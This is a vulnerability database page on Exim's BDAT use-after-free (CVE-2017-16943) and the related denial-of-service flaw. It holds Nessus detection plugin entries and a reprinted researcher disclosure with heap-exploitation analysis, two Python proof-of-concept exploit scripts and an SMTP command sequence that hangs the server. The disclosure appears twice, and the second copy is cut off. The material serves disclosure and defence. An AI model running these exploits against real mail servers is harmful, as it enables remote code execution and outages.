Vulnerabilities > CVE-2017-16943 - Use After Free vulnerability in multiple products
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
The receive_msg function in receive.c in the SMTP daemon in Exim 4.88 and 4.89 allows remote attackers to execute arbitrary code or cause a denial of service (use-after-free) via vectors involving BDAT commands.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
Application | 2 | |
OS | 1 |
Common Weakness Enumeration (CWE)
Nessus
NASL family Amazon Linux Local Security Checks NASL id ALA_ALAS-2017-932.NASL description Use-after-free in receive_msg function via vectors involving BDAT commands The receive_msg function in receive.c in the SMTP daemon in Exim 4.88 and 4.89 allows remote attackers to execute arbitrary code or cause a denial of service (use-after-free) via vectors involving BDAT commands. (CVE-2017-16943) Infinite loop and stack exhaustion in receive_msg function via vectors involving BDAT commands The receive_msg function in receive.c in the SMTP daemon in Exim 4.88 and 4.89 allows remote attackers to cause a denial of service (infinite loop and stack exhaustion) via vectors involving BDAT commands and an improper check for a last seen 2020-06-01 modified 2020-06-02 plugin id 105417 published 2017-12-26 reporter This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/105417 title Amazon Linux AMI : exim (ALAS-2017-932) code # # (C) Tenable Network Security, Inc. # # The descriptive text and package checks in this plugin were # extracted from Amazon Linux AMI Security Advisory ALAS-2017-932. # include("compat.inc"); if (description) { script_id(105417); script_version("3.4"); script_cvs_date("Date: 2019/04/10 16:10:16"); script_cve_id("CVE-2017-16943", "CVE-2017-16944"); script_xref(name:"ALAS", value:"2017-932"); script_name(english:"Amazon Linux AMI : exim (ALAS-2017-932)"); script_summary(english:"Checks rpm output for the updated packages"); script_set_attribute( attribute:"synopsis", value:"The remote Amazon Linux AMI host is missing a security update." ); script_set_attribute( attribute:"description", value: "Use-after-free in receive_msg function via vectors involving BDAT commands The receive_msg function in receive.c in the SMTP daemon in Exim 4.88 and 4.89 allows remote attackers to execute arbitrary code or cause a denial of service (use-after-free) via vectors involving BDAT commands. (CVE-2017-16943) Infinite loop and stack exhaustion in receive_msg function via vectors involving BDAT commands The receive_msg function in receive.c in the SMTP daemon in Exim 4.88 and 4.89 allows remote attackers to cause a denial of service (infinite loop and stack exhaustion) via vectors involving BDAT commands and an improper check for a '.' character signifying the end of the content, related to the bdat_getc function. (CVE-2017-16944)" ); script_set_attribute( attribute:"see_also", value:"https://alas.aws.amazon.com/ALAS-2017-932.html" ); script_set_attribute( attribute:"solution", value:"Run 'yum update exim' to update your system." ); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P"); script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C"); script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"); script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"plugin_type", value:"local"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:amazon:linux:exim"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:amazon:linux:exim-debuginfo"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:amazon:linux:exim-greylist"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:amazon:linux:exim-mon"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:amazon:linux:exim-mysql"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:amazon:linux:exim-pgsql"); script_set_attribute(attribute:"cpe", value:"cpe:/o:amazon:linux"); script_set_attribute(attribute:"patch_publication_date", value:"2017/12/20"); script_set_attribute(attribute:"plugin_publication_date", value:"2017/12/26"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_family(english:"Amazon Linux Local Security Checks"); script_dependencies("ssh_get_info.nasl"); script_require_keys("Host/local_checks_enabled", "Host/AmazonLinux/release", "Host/AmazonLinux/rpm-list"); exit(0); } include("audit.inc"); include("global_settings.inc"); include("rpm.inc"); if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED); release = get_kb_item("Host/AmazonLinux/release"); if (isnull(release) || !strlen(release)) audit(AUDIT_OS_NOT, "Amazon Linux"); os_ver = pregmatch(pattern: "^AL(A|\d)", string:release); if (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, "Amazon Linux"); os_ver = os_ver[1]; if (os_ver != "A") { if (os_ver == 'A') os_ver = 'AMI'; audit(AUDIT_OS_NOT, "Amazon Linux AMI", "Amazon Linux " + os_ver); } if (!get_kb_item("Host/AmazonLinux/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING); flag = 0; if (rpm_check(release:"ALA", reference:"exim-4.89-4.17.amzn1")) flag++; if (rpm_check(release:"ALA", reference:"exim-debuginfo-4.89-4.17.amzn1")) flag++; if (rpm_check(release:"ALA", reference:"exim-greylist-4.89-4.17.amzn1")) flag++; if (rpm_check(release:"ALA", reference:"exim-mon-4.89-4.17.amzn1")) flag++; if (rpm_check(release:"ALA", reference:"exim-mysql-4.89-4.17.amzn1")) flag++; if (rpm_check(release:"ALA", reference:"exim-pgsql-4.89-4.17.amzn1")) flag++; if (flag) { if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get()); else security_hole(0); exit(0); } else { tested = pkg_tests_get(); if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested); else audit(AUDIT_PACKAGE_NOT_INSTALLED, "exim / exim-debuginfo / exim-greylist / exim-mon / exim-mysql / etc"); }
NASL family Fedora Local Security Checks NASL id FEDORA_2017-0032BAA7D7.NASL description This is an update fixing denial of service (CVE-2017-16944). ---- This is an update fixing use-after-free (CVE-2017-16943). Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-05 modified 2017-12-13 plugin id 105196 published 2017-12-13 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/105196 title Fedora 26 : exim (2017-0032baa7d7) NASL family Gentoo Local Security Checks NASL id GENTOO_GLSA-201803-01.NASL description The remote host is affected by the vulnerability described in GLSA-201803-01 (Exim: Multiple vulnerabilities) Multiple vulnerabilities have been discovered in Exim. Please review the CVE identifiers referenced below for details. Impact : A remote attacker, by connecting to the SMTP listener daemon, could possibly execute arbitrary code with the privileges of the process or cause a Denial of Service condition. Workaround : There is no known workaround at this time. last seen 2020-06-01 modified 2020-06-02 plugin id 107178 published 2018-03-07 reporter This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/107178 title GLSA-201803-01 : Exim: Multiple vulnerabilities NASL family SMTP problems NASL id EXIM_BDAT_CHUNK_UAF.NASL description According to its banner and supported extensions, the remote installation of Exim is affected by a code execution flaw. The implementation of the BDAT SMTP verb for sending large binary messages introduced in Exim 4.88 can incorrectly free an in-use region of memory, leading to memory corruption and potentially allowing an attacker to execute code. last seen 2020-06-01 modified 2020-06-02 plugin id 104815 published 2017-11-29 reporter This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/104815 title Exim < 4.89.1 Use-After-Free BDAT Remote Code Execution NASL family Ubuntu Local Security Checks NASL id UBUNTU_USN-3493-1.NASL description It was discovered that Exim incorrectly handled memory in the ESMTP CHUNKING extension. A remote attacker could use this issue to cause Exim to crash, resulting in a denial of service, or possibly execute arbitrary code. The default compiler options for affected releases should reduce the vulnerability to a denial of service. Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-01 modified 2020-06-02 plugin id 104808 published 2017-11-28 reporter Ubuntu Security Notice (C) 2017-2019 Canonical, Inc. / NASL script (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/104808 title Ubuntu 17.04 / 17.10 : exim4 vulnerability (USN-3493-1) NASL family Debian Local Security Checks NASL id DEBIAN_DSA-4053.NASL description Several vulnerabilities have been discovered in Exim, a mail transport agent. The Common Vulnerabilities and Exposures project identifies the following issues : - CVE-2017-16943 A use-after-free vulnerability was discovered in Exim last seen 2020-06-01 modified 2020-06-02 plugin id 104940 published 2017-12-01 reporter This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/104940 title Debian DSA-4053-1 : exim4 - security update NASL family SuSE Local Security Checks NASL id OPENSUSE-2017-1342.NASL description This update for exim fixes the following issues : Security issue fixed : - CVE-2017-16943: Fix possible remote code execution (boo#1069857). last seen 2020-06-05 modified 2017-12-14 plugin id 105232 published 2017-12-14 reporter This script is Copyright (C) 2017-2020 Tenable Network Security, Inc. source https://www.tenable.com/plugins/nessus/105232 title openSUSE Security Update : exim (openSUSE-2017-1342) NASL family Fedora Local Security Checks NASL id FEDORA_2017-0053BB9719.NASL description This is an update fixing denial of service (CVE-2017-16944). ---- This is an update fixing use-after-free (CVE-2017-16943). Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-05 modified 2018-01-15 plugin id 105803 published 2018-01-15 reporter This script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/105803 title Fedora 27 : exim (2017-0053bb9719)
Seebug
bulletinFamily exploit description On 23 November, 2017, we reported two vulnerabilities to Exim. These bugs exist in the SMTP daemon and attackers do not need to be authenticated, including CVE-2017-16943 for a use-after-free (UAF) vulnerability, which leads to Remote Code Execution (RCE); and CVE-2017-16944 for a Denial-of-Service (DoS) vulnerability. ### About Exim Exim is a message transfer agent (MTA) used on Unix systems. Exim is an open source project and is the default MTA on Debian GNU/Linux systems. According to our survey, there are about 600k SMTP servers running exim on 21st November, 2017 (data collected from scans.io). Also, a [mail server survey](http://www.securityspace.com/s_survey/data/man.201710/mxsurvey.html) by E-Soft Inc. shows over half of the mail servers identified are running exim. ### Affected * Exim version 4.88 & 4.89 with chunking option enabled. * According to our survey, about 150k servers affected on 21st November, 2017 (data collected from scans.io). ### Vulnerability Details Through our research, the following vulnerabilies were discovered in Exim. Both vulnerabilies involve in BDAT command. BDAT is an extension in SMTP protocol, which is used to transfer large and binary data. A BDAT command is like `BDAT 1024` or `BDAT 1024 LAST`. With the SIZE and LAST declared, mail servers do not need to scan for the end dot anymore. This command was introduced to exim in version 4.88, and also brought some bugs. * Use-after-free in receive_msg leads to RCE (CVE-2017-16943) * Incorrect BDAT data handling leads to DoS (CVE-2017-16944) ### Use-after-free in receive_msg leads to RCE #### Vulnerability Analysis To explain this bug, we need to start with the memory management of exim. There is a series of functions starts with `store_` such as `store_get`, `store_release`, `store_reset`. These functions are used to manage dynamically allocated memory and improve performance. Its architecture is like the illustration below: ![](https://images.seebug.org/1513047256969) Initially, exim allocates a big storeblock (default 0x2000) and then cut it into stores when `store_get` is called, using global pointers to record the size of unused memory and where to cut in next allocation. Once the `current_block` is insufficient, it allocates a new block and appends it to the end of the chain, which is a linked list, and then makes `current_block` point to it. Exim maintains three `store_pool`, that is, there are three chains like the illustration above and every global variables are actually arrays. This vulnerability is in `receive_msg` where exim reads headers: [`receive.c: 1817 receive_msg`](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/receive.c#L1817) ``` if (ptr >= header_size - 4) { int oldsize = header_size; /* header_size += 256; */ header_size *= 2; if (!store_extend(next->text, oldsize, header_size)) { uschar *newtext = store_get(header_size); memcpy(newtext, next->text, ptr); store_release(next->text); next->text = newtext; } } ``` It seems normal if the store functions are just like realloc, malloc and free. However, they are different and cannot be used in this way. When exim tries to extend store, the function `store_extend` checks whether the old store is the latest store allocated in `current_block`. It returns False immediately if the check is failed. [`store.c: 276 store_extend`](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/store.c#L276) ``` if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) || inc > yield_length[store_pool] + rounded_oldsize - oldsize) return FALSE; ``` Once `store_extend fails`, exim tries to get a new store and release the old one. After we look into `store_get` and store_release, we found that `store_get` returns a store, but `store_release` releases a block if the store is at the head of it. That is to say, if `next->text` points to the start the `current_block` and store_get cuts store inside it for newtext, then `store_release(next->text)` frees `next->text`, which is equal to current_block, and leaves newtext and `current_block` pointing to a freed memory area. Any further usage of these pointers leads to a use-after-free vulnerability. To trigger this bug, we need to make exim call `store_get` after `next->text` is allocated. This was impossible until BDAT command was introduced into exim. BDAT makes `store_get` reachable and finally leads to an RCE. Exim uses [function pointers](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/globals.h#L136) to switch between different input sources, such as `receive_getc`, `receive_getbuf`. When receiving BDAT data, `receive_getc` is set to bdat_getc in order to check left chunking data size and to handle following command of BDAT. In `receive_msg`, exim also uses `receive_getc`. It loops to read data, and stores data into `next->text`, extends if insufficient. [`receive.c: 1817 receive_msg`](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/receive.c#L1789) ``` for (;;) { int ch = (receive_getc)(GETC_BUFFER_UNLIMITED); /* If we hit EOF on a SMTP connection, it's an error, since incoming SMTP must have a correct "." terminator. */ if (ch == EOF && smtp_input /* && !smtp_batched_input */) { smtp_reply = handle_lost_connection(US" (header)"); smtp_yield = FALSE; goto TIDYUP; /* Skip to end of function */ } ``` In `bdat_getc`, once the SIZE is reached, it tries to read the next BDAT command and raises error message if the following command is incorrect. [`smtp_in.c: 628 bdat_getc`](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/smtp_in.c#L628) ``` case BDAT_CMD: { int n; if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1) { (void) synprot_error(L_smtp_protocol_error, 501, NULL, US"missing size for BDAT command"); return ERR; } ``` In exim, it usually calls `synprot_error` to raise error message, which also logs at the same time. [`smtp_in.c: 628 bdat_getc`](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/smtp_in.c#L2984) ``` static int synprot_error(int type, int code, uschar *data, uschar *errmess) { int yield = -1; log_write(type, LOG_MAIN, "SMTP %s error in \"%s\" %s %s", (type == L_smtp_syntax_error)? "syntax" : "protocol", string_printing(smtp_cmd_buffer), host_and_ident(TRUE), errmess); ``` The log messages are printed by string_printing. This function ensures a string is printable. For this reason, it extends the string to transfer characters if any unprintable character exists, such as `'\n'->'\\n'`. Therefore, it asks `store_get` for memory to store strings. This store makes `if (!store_extend(next->text, oldsize, header_size))` in `receive_msg` failed when next extension occurs and then triggers use-after-free. ### Exploitation The following is the Proof-of-Concept(PoC) python script of this vulnerability. This PoC controls the control flow of SMTP server and sets instruction pointer to `0xdeadbeef`. For fuzzing issue, we did change the runtime configuration of exim. As a result, this PoC works only when dkim is enabled. We use it as an example because the situation is less complicated. The version with default configuration is also exploitable, and we will discuss it at the end of this section. ``` # CVE-2017-16943 PoC by meh at DEVCORE # pip install pwntools from pwn import * r = remote('127.0.0.1', 25) r.recvline() r.sendline("EHLO test") r.recvuntil("250 HELP") r.sendline("MAIL FROM:<[email protected]>") r.recvline() r.sendline("RCPT TO:<[email protected]>") r.recvline() r.sendline('a'*0x1250+'\x7f') r.recvuntil('command') r.sendline('BDAT 1') r.sendline(':BDAT \x7f') s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8) r.send(s+ ':\r\n') r.recvuntil('command') r.send('\n') r.interactive() ``` * Running out of `current_block` In order to achieve code execution, we need to make the `next->text` get the first store of a block. That is, running out of `current_block` and making `store_get` allocate a new block. Therefore, we send a long message `'a'*0x1250+'\x7f'` with an unprintable character to cut `current_block`, making `yield_length` less than 0x100. ![](https://images.seebug.org/1513047702371) * Starts BDAT data transfer After that, we send BDAT command to start data transfer. At the beginning, next and `next->text` are allocated by `store_get`. ![](https://images.seebug.org/1513047750003) The function `dkim_exim_verify_init` is called sequentially and it also calls `store_get`. Notice that this function uses ANOTHER `store_pool`, so it allocates from heap without changing `current_block` which `next->text` also points to. [`receive.c: 1734 receive_msg`](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/receive.c#L1734) ``` if (smtp_input && !smtp_batched_input && !dkim_disable_verify) dkim_exim_verify_init(chunking_state <= CHUNKING_OFFERED); ``` * Call `store_getc` inside `bdat_getc` Then, we send a BDAT command without SIZE. Exim complains about the incorrect command and cuts the `current_block` with `store_get` in `string_printing`. ![](https://images.seebug.org/1513047870923) * Keep sending msg until extension and bug triggered In this way, while we keep sending huge messages, `current_block` gets freed after the extension. In the malloc.c of glibc (so called ptmalloc), system manages a linked list of freed memory chunks, which is called unsortbin. Freed chunks are put into unsortbin if it is not the last chunk on the heap. In step 2, `dkim_exim_verify_init` allocated chunks after `next->text`. Therefore, this chunk is put into unsortbin and the pointers of linked list are stored into the first 16 bytes of chunk (on x86-64). The location written is exactly `current_block->next`, and therefore `current_block->next` is overwritten to unsortbin inside `main_arena` of libc (linked list pointer `fd` points back to `unsortbin` if no other freed chunk exists). ![](https://images.seebug.org/1513047944423) * Keep sending msg for the next extension When the next extension occurs, `store_get` tries to cut from `main_arena`, which makes attackers able to overwrite all global variables below main_arena. * Overwrite global variables in libc * Finish sending message and trigger `free()` In the PoC, we simply modified `__free_hook` and ended the line. Exim calls `store_reset` to reset the buffer and calls `__free_hook` in `free()`. At this stage, we successfully controlled instruction pointer `$rip`. However, this is not enough for an RCE because the arguments are uncontrollable. As a result, we improved this PoC to modify both `__free_hook` and `_IO_2_1_stdout_`. We forged the vtable of stdout and set `__free_hook` to any call of `fflush(stdout)` inside exim. When the program calls fflush, it sets the first argument to stdout and jumps to a function pointer on the vtable of stdout. Hence, we can control both `$rip` and the content of first argument. We consulted past CVE exploits and decided to call `expand_string`, which executes command with `execv` if we set the first argument to `${run{cmd}}`, and finally we got our RCE. ![](https://images.seebug.org/1513048509425) ### Exploit for default configured exim When dkim is disabled, the PoC above fails because `current_block` is the last chunk on heap. This makes the system merge it into a big chunk called top chunk rather than unsortbin. The illustrations below describe the difference of heap layout: ![](https://images.seebug.org/1513048582448) ![](https://images.seebug.org/1513048597334) To avoid this, we need to make exim allocate and free some memories before we actually start our exploitation. Therefore, we add some steps between step 1 and step 2. After running out of `current_block`: * Use DATA command to send lots of data Send huge data, make the chunk big and extend many times. After several extension, it calls `store_get` to retrieve a bigger store and then releases the old one. This repeats many times if the data is long enough. Therefore, we have a big chunk in unsortbin. * End DATA transfer and start a new email Restart to send an email with BDAT command after the heap chunk is prepared. * Adjust `yield_length` again Send invalid command with an unprintable charater again to cut the `current_block`. Finally the heap layout is like: ![](https://images.seebug.org/1513048684721) And now we can go back to the step 2 at the beginning and create the same situation. When `next->text` is freed, it goes back to unsortbin and we are able to overwrite libc global variables again. The following is the PoC for default configured exim: ``` # CVE-2017-16943 PoC by meh at DEVCORE # pip install pwntools from pwn import * r = remote('localhost', 25) r.recvline() r.sendline("EHLO test") r.recvuntil("250 HELP") r.sendline("MAIL FROM:<>") r.recvline() r.sendline("RCPT TO:<[email protected]>") r.recvline() r.sendline('a'*0x1280+'\x7f') r.recvuntil('command') r.sendline('DATA') r.recvuntil('itself\r\n') r.sendline('b'*0x4000+':\r\n') r.sendline('.\r\n') r.sendline('.\r\n') r.recvline() r.sendline("MAIL FROM:<>") r.recvline() r.sendline("RCPT TO:<[email protected]>") r.recvline() r.sendline('a'*0x3480+'\x7f') r.recvuntil('command') r.sendline('BDAT 1') r.sendline(':BDAT \x7f') s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8) r.send(s+ ':\r\n') r.send('\n') r.interactive() ``` A demo of our exploit is as below. ![](https://images.seebug.org/1513048732244) Note that we have not found a way to leak memory address and therefore we use heap spray instead. It requires another information leakage vulnerability to overcome the PIE mitigation on x86-64. ### Incorrect BDAT data handling leads to DoS #### Vulnerability Analysis When receiving data with BDAT command, SMTP server should not consider a single dot `'.'` in a line to be the end of message. However, we found exim does in receive_msg when parsing header. Like the following output: ``` 220 devco.re ESMTP Exim 4.90devstart_213-7c6ec81-XX Mon, 27 Nov 2017 16:58:20 +0800 EHLO test 250-devco.re Hello root at test 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN CRAM-MD5 250-CHUNKING 250-STARTTLS 250-PRDR 250 HELP MAIL FROM:<[email protected]> 250 OK RCPT TO:<[email protected]> 250 Accepted BDAT 10 . 250- 10 byte chunk, total 0 250 OK id=1eJFGW-000CB0-1R ``` As we mentioned before, exim uses function pointers to switch input source. This bug makes exim go into an incorrect state because the function pointer `receive_getc` is not reset. If the next command is also a BDAT, `receive_getc` and `lwr_receive_getc` become the same and an infinite loop occurs inside `bdat_getc`. Program crashes due to stack exhaustion. [`smtp_in.c: 546 bdat_getc`](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/smtp_in.c#L546) ``` if (chunking_data_left > 0) return lwr_receive_getc(chunking_data_left--); ``` This is not enough to pose a threat because exim runs a fork server. After a further analysis, we made exim go into an infinite loop without crashing, using the following commands. ``` # CVE-2017-16944 PoC by meh at DEVCORE EHLO localhost MAIL FROM:<[email protected]> RCPT TO:<[email protected]> BDAT 100 . MAIL FROM:<[email protected]> RCPT TO:<[email protected]> BDAT 0 LAST ``` This makes attackers able to launch a resource based DoS attack and then force the whole server down. ### Fix * Turn off Chunking option in config file: ``` chunking_advertise_hosts = ``` * Update to 4.89.1 version * Patch of CVE-2017-16943 released [here](https://git.exim.org/exim.git/commitdiff/4090d62a4b25782129cc1643596dc2f6e8f63bde) * Patch of CVE-2017-16944 released [here](https://git.exim.org/exim.git/commitdiff/178ecb70987f024f0e775d87c2f8b2cf587dd542) ### Timeline * 23 November, 2017 09:40 Report to Exim Bugzilla * 25 November, 2017 16:27 CVE-2017-16943 Patch released * 28 November, 2017 16:27 CVE-2017-16944 Patch released * 3 December, 2017 13:15 Send an advisory release notification to Exim and wait for reply until now ### Remarks While we were trying to report these bugs to exim, we could not find any method for security report. Therefore, we followed the link on the official site for bug report and found the security option. Unexpectedly, the Bugzilla posts all bugs publicly and therefore the PoC was leaked. Exim team responded rapidly and improved their security report process by adding a notification for security reports in reaction to this. id SSV:96905 last seen 2017-12-25 modified 2017-11-29 published 2017-11-29 reporter Root source https://www.seebug.org/vuldb/ssvid-96905 title Exim 4.89 - 'BDAT' Denial of Service(CVE-2017-16944) bulletinFamily exploit description On 23 November, 2017, we reported two vulnerabilities to Exim. These bugs exist in the SMTP daemon and attackers do not need to be authenticated, including CVE-2017-16943 for a use-after-free (UAF) vulnerability, which leads to Remote Code Execution (RCE); and CVE-2017-16944 for a Denial-of-Service (DoS) vulnerability. ### About Exim Exim is a message transfer agent (MTA) used on Unix systems. Exim is an open source project and is the default MTA on Debian GNU/Linux systems. According to our survey, there are about 600k SMTP servers running exim on 21st November, 2017 (data collected from scans.io). Also, a [mail server survey](http://www.securityspace.com/s_survey/data/man.201710/mxsurvey.html) by E-Soft Inc. shows over half of the mail servers identified are running exim. ### Affected * Exim version 4.88 & 4.89 with chunking option enabled. * According to our survey, about 150k servers affected on 21st November, 2017 (data collected from scans.io). ### Vulnerability Details Through our research, the following vulnerabilies were discovered in Exim. Both vulnerabilies involve in BDAT command. BDAT is an extension in SMTP protocol, which is used to transfer large and binary data. A BDAT command is like `BDAT 1024` or `BDAT 1024 LAST`. With the SIZE and LAST declared, mail servers do not need to scan for the end dot anymore. This command was introduced to exim in version 4.88, and also brought some bugs. * Use-after-free in receive_msg leads to RCE (CVE-2017-16943) * Incorrect BDAT data handling leads to DoS (CVE-2017-16944) ### Use-after-free in receive_msg leads to RCE #### Vulnerability Analysis To explain this bug, we need to start with the memory management of exim. There is a series of functions starts with `store_` such as `store_get`, `store_release`, `store_reset`. These functions are used to manage dynamically allocated memory and improve performance. Its architecture is like the illustration below: ![](https://images.seebug.org/1513047256969) Initially, exim allocates a big storeblock (default 0x2000) and then cut it into stores when `store_get` is called, using global pointers to record the size of unused memory and where to cut in next allocation. Once the `current_block` is insufficient, it allocates a new block and appends it to the end of the chain, which is a linked list, and then makes `current_block` point to it. Exim maintains three `store_pool`, that is, there are three chains like the illustration above and every global variables are actually arrays. This vulnerability is in `receive_msg` where exim reads headers: [`receive.c: 1817 receive_msg`](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/receive.c#L1817) ``` if (ptr >= header_size - 4) { int oldsize = header_size; /* header_size += 256; */ header_size *= 2; if (!store_extend(next->text, oldsize, header_size)) { uschar *newtext = store_get(header_size); memcpy(newtext, next->text, ptr); store_release(next->text); next->text = newtext; } } ``` It seems normal if the store functions are just like realloc, malloc and free. However, they are different and cannot be used in this way. When exim tries to extend store, the function `store_extend` checks whether the old store is the latest store allocated in `current_block`. It returns False immediately if the check is failed. [`store.c: 276 store_extend`](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/store.c#L276) ``` if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) || inc > yield_length[store_pool] + rounded_oldsize - oldsize) return FALSE; ``` Once `store_extend fails`, exim tries to get a new store and release the old one. After we look into `store_get` and store_release, we found that `store_get` returns a store, but `store_release` releases a block if the store is at the head of it. That is to say, if `next->text` points to the start the `current_block` and store_get cuts store inside it for newtext, then `store_release(next->text)` frees `next->text`, which is equal to current_block, and leaves newtext and `current_block` pointing to a freed memory area. Any further usage of these pointers leads to a use-after-free vulnerability. To trigger this bug, we need to make exim call `store_get` after `next->text` is allocated. This was impossible until BDAT command was introduced into exim. BDAT makes `store_get` reachable and finally leads to an RCE. Exim uses [function pointers](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/globals.h#L136) to switch between different input sources, such as `receive_getc`, `receive_getbuf`. When receiving BDAT data, `receive_getc` is set to bdat_getc in order to check left chunking data size and to handle following command of BDAT. In `receive_msg`, exim also uses `receive_getc`. It loops to read data, and stores data into `next->text`, extends if insufficient. [`receive.c: 1817 receive_msg`](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/receive.c#L1789) ``` for (;;) { int ch = (receive_getc)(GETC_BUFFER_UNLIMITED); /* If we hit EOF on a SMTP connection, it's an error, since incoming SMTP must have a correct "." terminator. */ if (ch == EOF && smtp_input /* && !smtp_batched_input */) { smtp_reply = handle_lost_connection(US" (header)"); smtp_yield = FALSE; goto TIDYUP; /* Skip to end of function */ } ``` In `bdat_getc`, once the SIZE is reached, it tries to read the next BDAT command and raises error message if the following command is incorrect. [`smtp_in.c: 628 bdat_getc`](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/smtp_in.c#L628) ``` case BDAT_CMD: { int n; if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1) { (void) synprot_error(L_smtp_protocol_error, 501, NULL, US"missing size for BDAT command"); return ERR; } ``` In exim, it usually calls `synprot_error` to raise error message, which also logs at the same time. [`smtp_in.c: 628 bdat_getc`](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/smtp_in.c#L2984) ``` static int synprot_error(int type, int code, uschar *data, uschar *errmess) { int yield = -1; log_write(type, LOG_MAIN, "SMTP %s error in \"%s\" %s %s", (type == L_smtp_syntax_error)? "syntax" : "protocol", string_printing(smtp_cmd_buffer), host_and_ident(TRUE), errmess); ``` The log messages are printed by string_printing. This function ensures a string is printable. For this reason, it extends the string to transfer characters if any unprintable character exists, such as `'\n'->'\\n'`. Therefore, it asks `store_get` for memory to store strings. This store makes `if (!store_extend(next->text, oldsize, header_size))` in `receive_msg` failed when next extension occurs and then triggers use-after-free. ### Exploitation The following is the Proof-of-Concept(PoC) python script of this vulnerability. This PoC controls the control flow of SMTP server and sets instruction pointer to `0xdeadbeef`. For fuzzing issue, we did change the runtime configuration of exim. As a result, this PoC works only when dkim is enabled. We use it as an example because the situation is less complicated. The version with default configuration is also exploitable, and we will discuss it at the end of this section. ``` # CVE-2017-16943 PoC by meh at DEVCORE # pip install pwntools from pwn import * r = remote('127.0.0.1', 25) r.recvline() r.sendline("EHLO test") r.recvuntil("250 HELP") r.sendline("MAIL FROM:<[email protected]>") r.recvline() r.sendline("RCPT TO:<[email protected]>") r.recvline() r.sendline('a'*0x1250+'\x7f') r.recvuntil('command') r.sendline('BDAT 1') r.sendline(':BDAT \x7f') s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8) r.send(s+ ':\r\n') r.recvuntil('command') r.send('\n') r.interactive() ``` * Running out of `current_block` In order to achieve code execution, we need to make the `next->text` get the first store of a block. That is, running out of `current_block` and making `store_get` allocate a new block. Therefore, we send a long message `'a'*0x1250+'\x7f'` with an unprintable character to cut `current_block`, making `yield_length` less than 0x100. ![](https://images.seebug.org/1513047702371) * Starts BDAT data transfer After that, we send BDAT command to start data transfer. At the beginning, next and `next->text` are allocated by `store_get`. ![](https://images.seebug.org/1513047750003) The function `dkim_exim_verify_init` is called sequentially and it also calls `store_get`. Notice that this function uses ANOTHER `store_pool`, so it allocates from heap without changing `current_block` which `next->text` also points to. [`receive.c: 1734 